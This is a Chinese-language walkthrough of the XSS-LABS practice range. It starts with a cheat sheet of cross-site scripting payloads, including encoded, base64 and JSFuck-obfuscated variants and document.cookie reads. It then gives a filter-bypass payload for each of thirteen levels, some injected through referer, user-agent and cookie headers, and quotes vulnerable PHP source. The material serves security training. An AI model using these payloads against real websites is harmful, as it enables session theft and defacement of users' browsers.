@[TOC]XSS注入练习(靶场闯关)
一.常用标签处理
level1所有bypass
<script>alert(1)</script>
<script>confirm('1')</script>
<script>alert(1)</script>
<script>alert(/1/zyl)</script>
<script>alert(document.cookie)</script>
jsfuck.com
<script>alert([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]([+!+[]]+[])())</script>
<script>alert(String.fromCharCode(65))</script>
<ZYL/onclick="alert('xss')">ZYL
<script zyl>alert('xss')</script>
<a href="javascript:alert('xss')">aaa</a>
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>ZYL
<a href=javascript:alert(13)>ZYL
<img src=1 onerror="alert('xss')">
<img src=1 onerror=alert(document.cookie)>
<svg onload=alert(1)>
<video src=1 onerror=alert(1)>
<img/src=1/onerror="alert(/xss/)">
<img/src=1/onerror=alert(/xss/)>
<button onfocus=alert(1) autofocus>
<body onload=alert(1)>
<body background="javascript:alert('XSS')">
<iframe src="javascript:alert('1')"></iframe>
<iframe onload=alert(1)></iframe>
<input onfocus=alert(1) autofocus>
<input type="image" src="javascript:alert('XSS');">
常用测试脚本
<script>alert(1)</script>
<svg onload=alert(1)>
<img src=1 onerror="alert('1')">
关于长度:长度限制一直以来是限制XSS注入的一种方案,一旦长度不符合,XSS注入将彻底失去意义,因为根本不可能执行带有攻击性的JS代码。故,在测试时我们常常以短小的JS代码起手
二.XSS-LABS
1.level 1
本关未开启任何限制
<script>alert(1)</script>
判断回显位置:
插入:
2.level 2 双引号闭合
看过滤机制,回显位置
回显在input标签内部,尝试构造双引号闭合,逃逸出来
"><script>alert(1)</script>//
3.level 3源码函数书写不全,单引号绕过
继续短payload起手,查看回显位置和过滤机制,与第二关相似
无法进行,作弊查看源代码
htmlspecialchars:用于字符转换的函数,用于过滤,这是转换的设置
4.level 4 无尖括号绕过
测试:
我们的左右括号被绕过,尝试不使用尖括号进行绕过:
"onclick=alert(1) v
5.level 5 a标签的使用
输出点:
感觉是替换防御,对<script>
进行替换,尝试更改payload
"<svg onload=alert(1)>//
蛙趣,on和script都给禁了,看源码作弊:
看样子,str3
的位置有闭合引号的可能性,同时又不能出现on
和<scipt>
,再次修改payload:
"> <a href="javascript:alert(1)">click</a>
因此我们了解到,还有a标签可以使用,并且这类整体替换的书写模式是不推荐的
6.level 6 大小写绕过
开始测试:
过滤了script
还过滤了on
a标签测试:
依然失败,查看源码
过滤机制增加,大小写?可能有戏
7.level 7 置空替换绕过
开始测试
置空替换,测试是否会二次置空
8.level 8 URL编码绕过–重点
开始测试
返回了a标签里面,过滤了script,尝试闭合使用伪协议:
此时还是会被过滤,我们尝试进行HTML编码绕过,注意这里的编码对象不要包括敏感字符外的字符,可能会造成编码错乱,无法生效
#javascript:alert(1)的HTML编码
javascript:alert(1)
知识扩展
9.level 9 http://字符限制
直接回显此信息,查看源码分析
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
这里强行让我们添加http://字段,我们再次构造payload
javascript:alert(1)http://
即使http放到后面还是无法弹出,一定是http产生影响,我们将其注释掉:
javascript:alert(1)//http://
10.level 10 隐藏参数传递绕过
探测回显
进行传参显示测试
发现这里有隐藏的参数传递,我们对其进行payload构造
http://192.168.163.1/xsslabs/level10.php?t_link=qqq&t_history=aaaaaa&t_sort=c"οnclick=alert(1) type="text
11.level 11 referer参数进入
发现,在refer字段中的信息被传递到页面里面显示了
aaa"type="text"οnclick="alert(1)
12.level 12 userahent参数进入
观察法,可得参数是从用户的agent头进去的
"οnclick=alert(1) type="text
13.level 13 cookie参数进入
这里是对cookie的插入
我们要先找到cookie的键,才能进行后续的插入
成功
插入payload
user=a"οnclick=alert(1) type="text//